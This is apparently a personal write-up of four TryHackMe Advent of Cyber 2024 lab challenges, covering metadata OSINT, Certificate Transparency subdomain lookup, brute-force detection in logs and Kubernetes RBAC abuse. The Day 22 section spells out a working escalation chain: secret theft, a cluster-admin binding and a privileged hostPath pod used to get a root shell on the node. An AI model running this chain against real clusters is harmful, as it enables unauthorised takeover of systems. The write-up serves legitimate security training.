Overview

This writeup covers a selection of my favourite challenges from TryHackMe's Advent of Cyber 2024 (Dec 1–25).

Day 1 — OPSEC

Challenge: Analyse a malicious YouTube video and trace the actor's digital footprint.

We're given a YouTube link to a video promoting a "free game hack". The task: identify the threat actor.

Metadata Analysis

exiftool downloaded_video.mp4

Author: M.M
Software: DaVinci Resolve 17
CreateDate: 2024:12:01 08:30:12
GPS Latitude: 51° 30' 1.20" N
GPS Longitude: 0° 7' 12.60" W

GPS coordinates resolve to London, UK — that's our first IOC.

Looking at the YouTube channel: the "About" section links to a GitHub profile MM-WarevilleGames.

GitHub OSINT

import requests

username = "MM-WarevilleGames"
r = requests.get(f"https://api.github.com/users/{username}/events/public")
events = r.json()

# Find email from commit
for event in events:
    if event['type'] == 'PushEvent':
        for commit in event['payload']['commits']:
            print(commit['author'])

Output:

{"email": "mayor.malware@gmail.com", "name": "Mayor Malware"}

Answer: mayor.malware@gmail.com

Day 14 — Certificate Transparency

Challenge: Use Certificate Transparency logs to find subdomains of a target.

crt.sh Query

curl -s "https://crt.sh/?q=%25.wareville.thm&output=json" | jq '.[].name_value' | sort -u

"admin.wareville.thm"
"api.wareville.thm"
"dev.wareville.thm"
"mail.wareville.thm"
"staging.wareville.thm"

Visiting staging.wareville.thm reveals a development instance with debug mode enabled and directory listing — goldmine!

Day 19 — Log Analysis

Challenge: Investigate access logs to identify which user account was compromised.

Parsing the Log

grep "POST /login" access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head

4521 192.168.1.47
  312 10.10.5.22
   18 10.0.0.1

IP 192.168.1.47 made 4521 POST requests to /login — brute force detected!

Filter for successful logins from that IP:

grep "192.168.1.47" access.log | grep "POST /login" | grep " 302 "

The first successful login was at 2024-12-19 03:44:17 with the account admin.

After that login, requests came from a new IP (185.220.x.x — Tor exit node) using a session token.

Day 22 — Kubernetes RBAC

Challenge: Exploit misconfigured Kubernetes RBAC to escalate privileges.

# Check what we can do
kubectl auth can-i --list

Resources   Non-Resource URLs   Resource Names   Verbs
secrets     []                  []               [list get]
pods        []                  []               [list get create]

We can list secrets! And create pods.

kubectl get secrets -o yaml

Found a service account token with admin-level permissions. Using it:

kubectl --token=$TOKEN get pods -n kube-system
kubectl --token=$TOKEN create clusterrolebinding pwned \
  --clusterrole=cluster-admin \
  --serviceaccount=default:default

We now have cluster-admin. Mount the node filesystem:

yaml output19 lines

# evil-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: attacker-pod
spec:
  containers:
  - name: attacker
    image: alpine
    command: ["sleep", "3600"]
    volumeMounts:
    - mountPath: /host
      name: host-vol
  volumes:
  - name: host-vol
    hostPath:
      path: /
  hostPID: true
  hostNetwork: true

kubectl apply -f evil-pod.yaml
kubectl exec -it attacker-pod -- chroot /host /bin/sh

# whoami
root
# cat /root/flag.txt
THM{k8s_r8ac_pwn3d}

Key Takeaways

OPSEC matters: metadata in uploaded files can reveal author identity and location
CT logs are public: use crt.sh for passive subdomain discovery
Log analysis: volume-based anomaly detection catches brute force quickly
K8s RBAC: least-privilege is critical — never grant list secrets to low-privilege accounts